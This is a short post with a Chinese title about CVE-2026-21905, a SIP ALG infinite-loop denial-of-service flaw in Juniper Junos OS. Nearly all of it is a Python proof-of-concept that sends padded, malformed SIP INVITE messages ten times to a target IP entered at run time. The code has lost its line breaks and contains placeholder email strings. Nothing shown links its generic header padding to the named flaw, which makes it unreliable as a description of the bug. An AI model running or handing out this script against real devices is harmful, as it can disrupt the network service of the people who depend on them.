CVE-2026-21905: Juniper Junos OS SIP ALG无限循环拒绝服务漏洞

import socket import struct import time def send_sip_tcp_packet(target_ip, target_port=5060): """ PoC for CVE-2026-21905 - Juniper Junos SIP ALG Infinite Loop Note: This is for educational/testing purposes only """ # Malformed SIP INVITE with malformed headers to trigger parsing loop sip_message = b'INVITE sip:[email protected] SIP/2.0\r\n' sip_message += b'Via: SIP/2.0/TCP ' + b'A' * 500 + b'\r\n' sip_message += b'From: <sip:[email protected]>;tag=malformed' + b'B' * 500 + b'\r\n' sip_message += b'To: <sip:[email protected]>\r\n' sip_message += b'Call-ID: infinite_loop_test\r\n' sip_message += b'CSeq: 1 INVITE\r\n' sip_message += b'Max-Forwards: 70\r\n' sip_message += b'Content-Length: 0\r\n\r\n' try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send multiple malformed packets to trigger the condition for i in range(10): sock.send(sip_message) time.sleep(0.5) print(f'Packet {i+1} sent') sock.close() print('PoC execution completed') except Exception as e: print(f'Error: {e}') if __name__ == '__main__': target = input('Enter target IP: ') send_sip_tcp_packet(target)